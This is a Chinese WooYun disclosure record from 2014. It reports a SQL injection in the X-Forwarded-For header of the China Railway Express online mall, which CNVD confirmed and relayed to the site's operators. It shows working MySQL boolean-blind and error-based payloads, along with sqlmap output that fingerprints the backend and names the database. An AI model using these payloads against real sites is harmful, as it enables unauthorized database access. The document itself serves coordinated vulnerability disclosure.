当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-059939

漏洞标题:铁道部旗下中铁快运商城注入漏洞

相关厂商:中铁快运商城

漏洞作者: greg.wu

提交时间:2014-05-09 19:00

修复时间:2014-06-23 19:00

公开时间:2014-06-23 19:00

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-09: 细节已通知厂商并且等待厂商处理中
2014-05-13: 厂商已经确认,细节仅向厂商公开
2014-05-23: 细节向核心白帽子及相关领域专家公开
2014-06-02: 细节向普通白帽子公开
2014-06-12: 细节向实习白帽子公开
2014-06-23: 细节向公众公开

简要描述:

铁道部旗下中铁快运商城注入漏洞,报错注入

详细说明:

注入点在http header的X-Forwarded-For字段
访问http://mall.95572.com/,fiddler断点截包,在请求头上加入X-Forwarded-For: 192.168.1.1',可以看到报错信息

22.PNG


23.PNG

漏洞证明:

还是拿sqlmap跑一下,省时省力:
(custom) HEADER parameter 'X-Forwarded-For #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 287 HTTP(s) requests:
---
Place: (custom) HEADER
Parameter: X-Forwarded-For #1*
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: 192.168.1.1' RLIKE IF(6611=6611,0x4d7953514c,0x28) AND 'AWSL'='AWSL
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)
Payload: 192.168.1.1' AND EXTRACTVALUE(6240,CONCAT(0x5c,0x7167776371,(SELECT (CASE WHEN (6240=6240) THEN 1 ELSE 0 END)),0x717a786971)) AND 'XFBT'='XFBT
---
[17:36:45] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.14, Apache 2.2.15
back-end DBMS: MySQL 5.1
[17:36:45] [INFO] fetching database names
[17:36:45] [WARNING] the SQL query provided does not return any output
[17:36:45] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[17:36:45] [INFO] fetching number of databases
[17:36:45] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[17:36:45] [INFO] retrieved:
[17:36:45] [ERROR] unable to retrieve the number of databases
[17:36:45] [INFO] falling back to current database
[17:36:45] [INFO] fetching current database
[17:36:45] [INFO] retrieved: shopnc
available databases [1]:
[*] shopnc
只爆出当前数据库,= =!

修复方案:

过滤,参数化

版权声明:转载请注明来源 greg.wu@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-05-13 18:04

厂商回复:

CNVD确认并复现所述情况,由CNVD通过公开联系渠道向网站管理单位通报。

最新状态:

暂无